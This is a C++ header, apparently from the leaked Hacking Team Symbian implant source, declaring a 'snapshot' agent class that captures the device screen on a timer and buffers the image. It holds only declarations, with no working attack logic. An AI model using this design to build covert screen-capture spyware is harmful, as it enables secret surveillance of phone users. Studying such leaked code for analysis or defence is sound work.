hackedteam/core-symbian

/*
 * AgentSnapshot.h
 *
 *  Created on: 05/ago/2010
 *      Author: Giovanna
 */

#ifndef AGENTSNAPSHOT_H_
#define AGENTSNAPSHOT_H_

// INCLUDES
#include <W32STD.H>
#include <e32std.h>
#include <e32base.h>

#include "AbstractAgent.h"
#include "AdditionalDataStructs.h"
#include <HT\TimeOutTimer.h>

// CLASS DECLARATION

/**
 *  CAgentSnapshot
 * 
 */
class CAgentSnapshot : public CAbstractAgent, public MTimeOutNotifier
    {
public:
    // Constructors and destructor

    /**
     * Destructor.
     */
    ~CAgentSnapshot();

    /**
     * Two-phased constructor.
     */
    static CAgentSnapshot* NewL(const TDesC8& params);

    /**
     * Two-phased constructor.
     */
    static CAgentSnapshot* NewLC(const TDesC8& params);

protected:
    // From AbstractQueueEndPoint
    virtual void StartAgentCmdL();
    virtual void StopAgentCmdL();
        
private:
    // From MTimeOutNotifier
    virtual void TimerExpiredL(TAny* src);
    
    // Capture the image into mbm format
    void DoCaptureL();
    
    // Convert the image into the required format and put it into a buffer
    HBufC8* GetImageBufferL();

    /**
     * Constructor for performing 1st stage construction
     */
    CAgentSnapshot();
    

    /**
     * EPOC default constructor for performing 2nd stage construction
     */
    void ConstructL(const TDesC8& params);

private:
    CTimeOutTimer* iTimer;
    TTimeIntervalSeconds iSecondsInterv;
    RWsSession    iWsSession;
    CWsScreenDevice* iScreenDevice;
    CFbsBitmap*          iBitmap;
    TBool   iCapturedScreen;
    };


#endif /* AGENTSNAPSHOT_H_ */